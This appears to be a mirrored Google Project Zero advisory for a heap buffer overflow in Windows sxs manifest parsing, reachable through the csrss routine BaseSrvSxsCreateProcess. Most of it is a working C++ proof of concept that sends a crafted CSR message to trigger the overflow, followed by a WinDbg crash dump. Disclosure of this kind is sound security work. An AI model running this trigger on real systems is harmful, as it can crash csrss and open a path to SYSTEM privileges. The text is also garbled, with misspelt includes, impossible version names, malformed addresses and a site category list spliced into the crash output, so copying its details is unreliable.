

## Windows sxs!CNodeFactory::XMLParser\_Element\_doc\_assembly\_identity Heap Buffer Overflow

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A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.

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SHA-256 | [d9d1207247ebb20f56509add11b90166662a5bc61929b7ae0d9356619f52a0b3](#) [Download](#) | [Favorite](#) | [View](#)

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Windows: Heap buffer overflow in sxs!CNodeFactory::XMLParser\_Element\_doc\_assembly\_identity

#### ## SUMMARY

A heap buffer overflow issue exists in Windows 11 and earlier versions. A malicious application may be able to execute arbitrary code with SYSTEM privileges.

#### ## VULNERABILITY DETAILS

In 2020, Project Zero reported a heap buffer overflow in application manifest parsing[1]. The `MaximumLength` field in one of the `UNICODE\_STRING` parameters of the `BaseSrvSxsCreateActivationContextFromMessage` CSR routine wasn't properly validated, and was later used by `XMLParser\_Element\_doc\_assembly\_identity` as the maximum size of a `memcpy` destination buffer. The fix added an extra `CsrValidateMessageBuffer` call to `BaseSrvSxsCreateActivationContextFromMessage`.

We've just discovered that `BaseSrvSxsCreateActivationContextFromMessage` is not the only CSR routine that can reach `XMLParser\_Element\_doc\_assembly\_identity`. An attacker can trigger the same buffer overflow via `BaseSrvSxsCreateProcess`.

1. <https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-1027.html>

#### ## VERSION

Windows 11 12H2 (OS Build 22000.593)  
Windows 10 12H2 (OS Build 19044.1586)

#### ## REPRODUCTION CASE

- 1) Enable page heap verification for csrss.exe:

```
gflags /p /enable csrss.exe /full
```

- 2) Restart the machine.

- 3) Compile and run:

```
#pragma comment(lib, "ntdll")
```

```
#include <windows.h>  
#include <winternl.h>  
#include <csdint>  
#include <csdtdio>  
#include <string>
```

```
typedef struct _SECTION_IMAGE_INFORMATION {  
    PVOID EntryPoint;  
    ULONG StackZeroBits;  
    ULONG StackReserved;  
    ULONG StackCommit;  
    ULONG ImageSubsystem;  
    WORD SubSystemVersionLow;  
    WORD SubSystemVersionHigh;  
    ULONG Unknown1;  
    ULONG ImageCharacteristics;  
    ULONG ImageMachineType;  
    ULONG Unknown2[3];  
} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;
```

```
typedef struct _RTL_USER_PROCESS_INFORMATION {  
    ULONG Size;  
    HANDLE ProcessHandle;  
    HANDLE ThreadHandle;  
    CLIENT_ID ClientId;  
    SECTION_IMAGE_INFORMATION ImageInformation;  
    BYTE Unknown1[128];  
} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION;
```

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```
NTSTATUS(NTAPI* RtlCreateProcessParameters)
(PRTL_USER_PROCESS_PARAMETERS*,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING,
 PUNICODE_STRING);
NTSTATUS(NTAPI* RtlCreateUserProcess)
(PUNICODE_STRING,
 ULONG,
 PRTL_USER_PROCESS_PARAMETERS,
 PSECURITY_DESCRIPTOR,
 PSECURITY_DESCRIPTOR,
 HANDLE,
 BOOLEAN,
 HANDLE,
 HANDLE,
 PRTL_USER_PROCESS_INFORMATION);

PVOID(NTAPI* CsrAllocateCaptureBuffer)(ULONG, ULONG);
VOID(NTAPI* CsrFreeCaptureBuffer)(PVOID);
NTSTATUS(NTAPI* CsrClientCallServer)(PVOID, PVOID, ULONG, ULONG);
NTSTATUS(NTAPI* CsrCaptureMessageString)(LPVOID, PCSTR, ULONG, ULONG, PSTR);

void CaptureString(LPVOID capture_buffer,
                  uint8_t* msg_field,
                  PCWSTR string,
                  size_t length = 0) {
    if (length == 0)
        length = lstrlenW(string);

    CsrCaptureMessageString(capture_buffer, (PCSTR)string, length * 2,
                           length * 2 + 2, (PSTR)msg_field);
}

int main() {
    HMODULE ntdll = LoadLibrary(L"ntdll");

#define INIT_PROC(name) \
    name = reinterpret_cast<decltype(name)>(GetProcAddress(ntdll, #name));

    INIT_PROC(RtlCreateProcessParameters);
    INIT_PROC(RtlCreateUserProcess);

    INIT_PROC(CsrAllocateCaptureBuffer);
    INIT_PROC(CsrFreeCaptureBuffer);
    INIT_PROC(CsrClientCallServer);
    INIT_PROC(CsrCaptureMessageString);

    UNICODE_STRING image_path;
    PRTL_USER_PROCESS_PARAMETERS proc_params;
    RTL_USER_PROCESS_INFORMATION proc_info = {0};

    RtlInitUnicodeString(&image_path, L"\\SystemRoot\\notepad.exe");
    RtlCreateProcessParameters(&proc_params, &image_path, NULL, NULL, NULL,
                              NULL, NULL, NULL, NULL);
    RtlCreateUserProcess(&image_path, OBJ_CASE_INSENSITIVE, proc_params, NULL,
                        NULL, NULL, FALSE, NULL, NULL, &proc_info);

    const size_t HEADER_SIZE = 0x40;
    uint8_t msg[HEADER_SIZE + 0x1f8] = {0};

#define FIELD(n) msg + HEADER_SIZE + 8 * n
#define SET_FIELD(n, value) *(uint64_t*)(FIELD(n)) = (uint64_t)value;

    SET_FIELD(2, proc_info.ClientId.UniqueProcess);
    SET_FIELD(3, proc_info.ClientId.UniqueThread);

    SET_FIELD(4, -1);
    SET_FIELD(7, 1);
    SET_FIELD(8, 0x20000);

    std::string manifest =
        "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' "
        "manifestVersion='1.0'>"
        "<assemblyIdentity name='@' version='1.0.0.0' />"
        "</assembly>";
    manifest.replace(manifest.find('@'), 1, 0x4000, 'A');

    SET_FIELD(13, manifest.c_str());
    SET_FIELD(14, manifest.size());

    PVOID capture_buffer = CsrAllocateCaptureBuffer(6, 0x200);

    CaptureString(capture_buffer, FIELD(22), L"C:\\Windows\\");
    CaptureString(capture_buffer, FIELD(24), L"\\x00\\x00", 2);
    CaptureString(capture_buffer, FIELD(28), L"A");
    SET_FIELD(28, 0xff000002);

    CsrClientCallServer(msg, capture_buffer, 0x1001001d,
                       sizeof(msg) - HEADER_SIZE);
}

The crash should look like to the following:
...
CONTEXT: 0000007c4afbcbfc0 -- (.cxr 0x7c4afbcbfc0)
rax=00000020e6515ce0 rbx=0000000000000400 rcx=00000020e6515d010
rdx=fffffffff741fa rsi=00000020e652c48c0 rdi=0000000000000001
rip=00007ff825a53c53 rsp=0000007c4afbcb38 rbp=0000007c4afbde80
r8=0000000000000032 r9=00000000000001f7 r10=00007ff822e6b558
r11=00000020e60fd8ffc r12=00000020e66d1cf80 r13=0000000000000001
r14=0000000000000000 r15=0000000000000005
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
ntdll!memcpy+0x113:
0033:00007ff8`25a53c53 0f2941f0          movaps  xmmword ptr [rcx-10h],xmm0
ds:002b:00000020e`6515d000=????????????????????????????
Resetting default scope

WRITE_ADDRESS: 00000020e6515d000

EXCEPTION_RECORD: 0000007c4afbd4b0 -- (.exr 0x7c4afbd4b0)
```

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Java (2,888)	CentOS (55)
JavaScript (817)	Cisco (1,917)
Kernel (6,255)	Debian (6,620)
Local (14,173)	Fedora (1,690)
Magazine (586)	FreeBSD (1,242)
Overflow (12,390)	Gentoo (4,272)
Perl (1,417)	HPUX (878)
PHP (5,087)	iOS (330)
Proof of Concept (2,290)	iPhone (108)
Protocol (3,426)	IRIX (220)
Python (1,449)	Juniper (67)
Remote (30,009)	Linux (44,118)
Root (3,496)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,768)	OpenBSD (479)
Shell (3,098)	RedHat (12,339)
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UDP (875)	Windows (6,504)
Virus (661)	Other
Vulnerability (31,104)	
Web (9,329)	
Whitepaper (3,728)	
x86 (946)	
XSS (17,478)	
Other	

ExceptionAddress: 00007ff825a53c53 (ntdll!memcpy+0x0000000000000113)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 0000000000000001  
Parameter[1]: 0000020e6515d000  
Attempt to write to address 0000020e6515d000

STACK TEXT:  
0000007c`4afbddd38 00007ff8`22df5a41 : 0000020e`652c48c0 00000000`00000001 00000000`00000001 00000000`00000001 :  
ntdll!memcpy+0x113  
0000007c`4afbddd40 00007ff8`22e07b94 : 00007ff8`00000000 00000000`000000a8 0000020e`652c48c0 0000020e`652c48c0 :  
sxs!CNodeFactory::XMLParser\_Element\_doc\_assembly\_identity+0x4c1  
0000007c`4afbe3c0 00007ff8`22e1f406 : 0000020e`652e7f20 0000020e`652e7f20 00000000`00000000 00000000`00000000 :  
sxs!CNodeFactory::CreateNode+0xd34  
0000007c`4afbe7d0 00007ff8`22df8a33 : 0000020e`00000000 0000020e`652a8cc8 00000000`00000000 0000020e`65166e20 :  
sxs!XMLParser::Run+0x8d6  
0000007c`4afbe8f0 00007ff8`22df7468 : 0000020e`00000000 0000020e`6527ac90 00000000`00000000 0000020e`6527ac90 :  
sxs!SxspIncorporateAssembly+0x513  
0000007c`4afbeab0 00007ff8`22df7cf6 : 00000000`00000000 00000000`00000000 0000020e`6527ac90 0000020e`65167720 :  
sxs!SxspIncorporateAssembly+0x104  
0000007c`4afbeb60 00007ff8`22df3769 : 0000007c`00000000 0000007c`4afbafa0 00000000`00000000 0000020e`65166e20 :  
sxs!SxspCloseManifestGraph+0xbe  
0000007c`4afbec00 00007ff8`22fb3eed : 00000000`00000000 00000000`00000000 00000000`00000000 0000007c`4afbfa3a0 :  
sxs!SxsGenerateActivationContext+0x339  
0000007c`4afbed60 00007ff8`22fb2405 : 0000007c`4afbfa1f0 000004f7`0000000b 00000000`00000000 00000000`00000001 :  
sxs!BaseSrvSxsCreateActivationContextFromStructEx+0x6ed  
0000007c`4afbfa1a0 00007ff8`22fb1e91 : 0000020e`56e00000 00000000`01080002 00000000`00000264 00000000`00000270 :  
sxs!InternalSxsCreateProcess+0x545  
0000007c`4afbfa60 00007ff8`230133c3 : 00000000`00000000 0000007c`4afbfa789 00000000`00000000 00000000`00000000 :  
sxs!BaseSrvSxsCreateProcess+0x71  
0000007c`4afbfa6c0 00007ff8`23036490 : 0000020e`ffffffff 0000007c`4afbfa848 0000020e`00000000 0000020e`00000001 :  
basesrv!BaseSrvCreateProcess2+0x1f3  
0000007c`4afbfa7f0 00007ff8`25a0265f : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 :  
CSRSRV!CsrApiRequestThread+0x4d0  
0000007c`4afbfa90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 :  
ntdll!RtlUserThreadStart+0x2f  
...

## CREDIT INFORMATION  
Sergei Glazunov of Google Project Zero

Related CVE Numbers: CVE-2020-1027,CVE-2022-22026,CVE-2022-22026.

Found by: glazunov@google.com

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